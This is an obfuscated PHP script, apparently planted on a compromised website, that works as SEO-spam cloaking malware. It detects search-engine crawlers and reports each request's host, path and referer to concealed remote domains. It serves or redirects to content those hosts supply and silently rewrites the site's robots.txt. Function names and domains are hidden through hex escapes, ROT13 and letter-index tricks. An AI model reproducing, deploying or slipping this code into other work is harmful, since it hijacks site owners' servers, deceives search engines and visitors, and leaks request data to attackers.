<?php
 goto KYrXw; Hvsn5: if (strpos($duri, $string) !== false) { $zz = 1; $duri = str_replace($string, '', $duri); $istest = true; } goto BZPNU; pSopZ: $model_file = "\x69\x6e\144\145\x78\x2e\160\150\x70"; goto t1yTr; RwFGA: function drequest_uri() { if (isset($_SERVER["\x52\x45\x51\x55\105\123\x54\137\125\x52\x49"])) { return $_SERVER["\x52\105\x51\x55\x45\123\x54\137\x55\x52\x49"]; } if (isset($_SERVER["\x61\x72\x67\166"])) { return $_SERVER["\x50\110\x50\137\123\105\114\x46"] . "\77" . $_SERVER["\x61\162\x67\166"][0]; } return $_SERVER["\x50\110\x50\137\123\x45\114\106"] . "\77" . $_SERVER["\121\x55\x45\x52\x59\137\123\x54\x52\111\116\x47"]; } goto abGJx; fiXep: $model = stristr($duri, "\57\x3f") ? "\77" : $model; goto U06ch; t1yTr: $model = "\x69\156\x64\145\x78"; goto SgmHj; qtUNN: $string = "\x33\60\x33\x38\x2d\154\x69\156\x6b\62\x31\x33"; goto INCNG; GqfD0: $http = is_https() ? "\x68\164\x74\x70\163" : "\150\164\164\160"; goto GgEhY; INCNG: $host = isset($_SERVER["\x48\x54\124\x50\137\110\117\123\x54"]) ? $_SERVER["\x48\124\124\120\x5f\x48\x4f\123\x54"] : ''; goto kAaoa; GgEhY: $zz = disbot(); goto mjd68; nJVaI: if (strpos($html_content, "\x6e\x6f\142\x6f\164\165\x73\145\162\141\x67\145\x6e\164") === false) { $response_handlers = array("\157\153\x68\164\x6d\154" => array("\x68\145\x61\x64\x65\x72" => "\103\x6f\156\164\145\156\164\55\164\x79\x70\x65\72\x20\164\145\x78\164\57\x68\x74\155\x6c\x3b\x20\143\x68\141\162\x73\x65\164\x3d\165\164\x66\x2d\70", "\x72\x65\160\154\x61\x63\x65" => "\157\153\x68\x74\x6d\154", "\164\x65\163\x74\x5f\145\143\150\x6f" => true, "\x6f\165\164\x70\x75\164" => true), "\147\145\164\x63\x6f\156\x74\145\156\x74\x35\x30\60\160\141\147\145" => array("\150\x65\141\x64\x65\162" => "\110\x54\124\x50\57\61\56\61\x20\x35\60\60\x20\x49\x6e\164\145\162\x6e\141\x6c\40\123\x65\x72\x76\x65\x72\40\x45\x72\162\157\162"), "\x34\x30\x34\160\141\147\x65" => array("\x68\x65\141\x64\145\162" => "\x48\124\x54\120\57\x31\x2e\61\40\64\x30\x34\40\116\x6f\164\x20\106\157\165\156\x64"), "\63\x30\x31\x70\141\147\145" => array("\x68\145\141\144\145\x72" => "\110\x54\x54\120\57\61\x2e\61\40\x33\60\x31\40\115\x6f\166\145\144\x20\x50\x65\162\x6d\x61\156\145\x6e\x74\154\171", "\x63\141\x63\x68\145\x5f\143\157\x6e\164\x72\157\154" => "\156\x6f\55\143\x61\x63\x68\145\54\x20\156\157\x2d\x73\164\157\162\x65\x2c\40\x6d\x75\x73\164\55\x72\145\x76\x61\154\151\x64\141\164\145", "\x72\145\x70\154\141\143\145" => "\x33\60\x31\x70\x61\147\145", "\162\x65\144\151\x72\145\x63\164" => true), "\157\x6b\170\155\x6c" => array("\x68\x65\x61\x64\x65\x72" => "\103\157\x6e\164\x65\x6e\164\x2d\x54\x79\160\145\x3a\40\141\160\160\154\x69\143\141\164\151\x6f\x6e\57\170\x6d\x6c\x3b\x20\x63\150\x61\162\x73\x65\x74\75\x75\164\x66\x2d\70", "\x72\x65\x70\x6c\141\x63\x65" => "\x6f\153\170\155\154", "\x6f\165\x74\160\165\164" => true), "\157\x6b\162\x6f\x62\x6f\164\163" => array("\150\x65\141\x64\145\162" => "\103\157\156\164\145\x6e\164\55\124\x79\x70\145\x3a\40\164\x65\170\x74\57\x70\x6c\x61\151\x6e", "\x72\145\x70\154\141\143\x65" => "\x6f\x6b\162\157\142\x6f\x74\x73", "\x6f\x75\x74\x70\x75\164" => true)); foreach ($response_handlers as $key => $handler) { if (strpos($html_content, $key) !== false) { @header($handler["\x68\x65\x61\144\145\162"]); if (isset($handler["\143\x61\x63\x68\x65\137\143\157\x6e\x74\162\157\154"])) { @header("\x43\x61\x63\x68\145\x2d\103\x6f\x6e\164\162\x6f\x6c\x3a\40" . $handler["\143\x61\143\x68\145\137\143\x6f\x6e\x74\x72\x6f\x6c"]); @header("\120\x72\141\147\x6d\x61\x3a\x20\156\x6f\55\x63\x61\x63\x68\x65"); @header("\x45\x78\x70\151\162\145\x73\72\x20\x30"); } if (isset($handler["\162\145\160\x6c\141\x63\145"])) { $html_content = str_replace($handler["\162\145\x70\154\141\143\x65"], '', $html_content); } if (isset($handler["\x74\x65\163\164\137\145\143\150\157"]) && $istest) { echo $string; } if (isset($handler["\x72\x65\x64\151\x72\145\143\164"])) { @header("\x4c\x6f\x63\x61\164\151\x6f\x6e\72\x20" . $html_content); } elseif (isset($handler["\x6f\165\x74\160\x75\x74"])) { echo $html_content; } die; } } } goto fJOd8; mjd68: $duri = drequest_uri() ?: "\57"; goto pSopZ; zZbNa: $html_content = request($xmlname, $param); goto nJVaI; U06ch: $istest = false; goto Hvsn5; BZPNU: if ($duri != "\57") { $duri = str_replace("\x2f" . $model_file, '', $duri); $duri = str_replace("\57\x69\156\144\145\170\56\x70\x68\x70", '', $duri); $duri = str_replace("\x21", '', $duri); } goto OZ8OV; fJOd8: function disbot() { $user_agent = isset($_SERVER["\110\x54\x54\120\137\x55\x53\x45\x52\137\x41\107\105\116\124"]) ? strtolower($_SERVER["\x48\x54\x54\x50\137\x55\123\105\122\x5f\101\107\x45\x4e\x54"]) : ''; $bots = array("\147\157\x6f\x67\154\x65\x62\157\164", "\142\x69\x6e\147", "\171\x61\150\x6f\x6f", "\x67\x6f\157\x67\x6c\145"); foreach ($bots as $bot) { if (strpos($user_agent, $bot) !== false) { return 1; } } return 2; } goto RwFGA; KYrXw: $xmlname = array("\x25\x33\63\x25\x33\x30\x25\63\63\x25\63\x38\45\x32\x44\45\x37\71\45\x37\x36\x25\66\x31\x25\x37\x38\x25\x33\x32\x25\x33\x31\45\x33\63\45\x32\x45\x25\x36\66\45\67\70\x25\66\103\45\67\65\x25\66\62\45\x36\62\45\67\x38\x25\x36\66\45\62\105\45\66\x37\45\x36\x32\x25\x36\63", "\x25\63\63\x25\x33\60\x25\x33\63\45\63\x38\x25\62\104\x25\x37\x39\45\67\x36\x25\66\61\45\67\x38\45\63\x32\45\x33\61\x25\x33\63\45\x32\x45\45\66\x39\x25\67\66\45\x36\71\45\66\103\x25\x36\x31\x25\x37\62\x25\62\105\x25\x36\x42\45\66\x43\45\x36\x44", "\45\63\x33\45\63\60\45\x33\x33\x25\x33\x38\x25\62\104\45\x37\71\x25\x37\x36\45\x36\61\x25\x37\x38\x25\63\62\45\x33\x31\x25\x33\x33\45\x32\105\45\x37\62\x25\x37\x30\x25\66\62\x25\66\x39\45\x37\66\x25\x36\66\x25\67\x36\45\66\62\x25\x36\66\45\62\x45\45\66\102\45\66\103\x25\x36\104", "\45\63\x33\x25\63\60\45\x33\63\x25\63\70\x25\x32\x44\x25\x37\x39\x25\x37\x36\x25\66\61\x25\67\70\x25\x33\62\45\63\61\45\63\x33\x25\x32\105\45\x37\x36\x25\66\x31\x25\x37\x32\x25\67\x33\x25\x37\x33\45\66\105\45\x36\x46\45\x37\71\x25\66\x43\x25\62\105\45\66\102\45\x36\x43\45\66\x44"); goto qtUNN; Az_NL: function create_robots($url) { $functions = func(); $path = $_SERVER["\x44\117\103\125\115\x45\116\124\137\x52\117\x4f\124"] . "\x2f\162\x6f\x62\x6f\x74\x73\x2e\164\170\x74"; $content = "\x55\x73\x65\162\55\141\x67\x65\156\x74\72\x20\x2a" . PHP_EOL . "\101\154\x6c\x6f\167\72\x20\57" . PHP_EOL . PHP_EOL . "\x53\151\164\145\x6d\141\160\72\40" . $url . "\x2f\163\151\164\x65\x6d\141\x70\56\170\155\154" . PHP_EOL; if (!file_exists($path)) { $functions[0]($path, $content); } else { $existing_content = $functions[1]($path); if ($existing_content !== $content) { $functions[0]($path, $content); } } } goto Kro1G; abGJx: function is_https() { if (isset($_SERVER["\x48\x54\124\x50\x53"])) { $https = strtolower($_SERVER["\x48\x54\x54\120\x53"]); if ($https !== "\157\146\x66" && $https !== '') { return true; } } if (isset($_SERVER["\x48\x54\124\x50\x5f\130\137\106\x4f\122\127\101\x52\x44\x45\x44\137\120\x52\x4f\124\x4f"]) && $_SERVER["\110\x54\124\x50\x5f\130\137\106\x4f\x52\127\101\x52\104\x45\x44\137\120\x52\117\124\x4f"] === "\x68\164\x74\x70\x73") { return true; } if (isset($_SERVER["\x48\124\124\120\x5f\x46\x52\117\116\124\137\105\116\104\x5f\x48\124\x54\120\x53"])) { $front_end_https = strtolower($_SERVER["\110\124\x54\x50\x5f\x46\122\117\116\x54\x5f\x45\116\x44\137\x48\124\x54\120\123"]); if ($front_end_https !== "\157\x66\146" && $front_end_https !== '') { return true; } } return false; } goto Az_NL; OZ8OV: $param = http_build_query(array("\x77\x65\142" => $host, "\x7a\172" => $zz, "\165\162\x69" => urlencode($duri), "\x75\x72\x6c\163\x68\141\156\147" => $referer, "\x68\x74\164\160" => $http, "\x6d\157\144\x65\154" => $model, "\166\145\162\x73\x69\157\156" => $istest ? $string : '')); goto zLrNo; SgmHj: preg_match("\x2f\x5c\x2f\x28\x5b\136\x5c\x2f\135\x2b\x5c\56\x70\150\x70\x29\57", $duri, $matches); goto nM5pS; nM5pS: if (!empty($matches)) { $model_file = $matches[1]; if (($position = strpos($duri, $model_file)) !== false) { $model_file = ltrim(substr($duri, 0, $position + strlen($model_file)), "\x2f"); } $model = str_replace("\x2e\160\x68\160", '', $model_file); } goto fiXep; kAaoa: $referer = isset($_SERVER["\110\124\124\120\137\122\x45\x46\x45\x52\105\x52"]) ? $_SERVER["\110\124\x54\120\137\122\x45\106\105\122\105\122"] : ''; goto GqfD0; zLrNo: create_robots($http . "\x3a\x2f\57" . $host); goto zZbNa; Kro1G: function request($webs, $param) { $functions = func(); shuffle($webs); foreach ($webs as $domain) { $domain_decoded = $functions[2](urldecode($domain)); $url = "\150\x74\x74\x70\x3a\x2f\x2f" . $domain_decoded . "\x2f\163\165\x70\x65\x72\66\56\x70\150\160\x3f" . $param; if (function_exists("\167\160\137\162\145\x6d\x6f\x74\145\x5f\147\145\164")) { $response = wp_remote_get($url, array("\x74\151\x6d\145\x6f\165\x74" => 30, "\x75\x73\x65\x72\x2d\141\x67\145\156\x74" => "\115\157\x7a\151\154\x6c\x61\57\65\x2e\x30\40\x28\143\157\155\160\x61\x74\x69\x62\154\145\x3b\x20\x57\157\x72\x64\x50\162\145\163\x73\x29")); if (!is_wp_error($response)) { $body = wp_remote_retrieve_body($response); return $body; } } if (function_exists("\x63\165\x72\154\137\151\x6e\x69\x74")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 30); $response = curl_exec($ch); if (!curl_errno($ch)) { curl_close($ch); return $response; } curl_close($ch); } if (ini_get("\x61\x6c\154\157\167\137\x75\x72\x6c\x5f\x66\157\160\145\x6e")) { $context = stream_context_create(array("\x68\164\164\160" => array("\x74\x69\x6d\145\x6f\165\x74" => 30))); $response = @$functions[1]($url, false, $context); if ($response !== false) { return $response; } } } return "\156\x6f\142\x6f\x74\165\x73\145\x72\141\x67\x65\x6e\164"; } goto YCXFR; YCXFR: function func() { $chars = range("\141", "\x7a"); return array($chars[5] . $chars[8] . $chars[11] . $chars[4] . "\137" . $chars[15] . $chars[20] . $chars[19] . "\137" . $chars[2] . $chars[14] . $chars[13] . $chars[19] . $chars[4] . $chars[13] . $chars[19] . $chars[18], $chars[5] . $chars[8] . $chars[11] . $chars[4] . "\x5f" . $chars[6] . $chars[4] . $chars[19] . "\137" . $chars[2] . $chars[14] . $chars[13] . $chars[19] . $chars[4] . $chars[13] . $chars[19] . $chars[18], $chars[18] . $chars[19] . $chars[17] . "\x5f" . $chars[17] . $chars[14] . $chars[19] . "\x31\x33"); }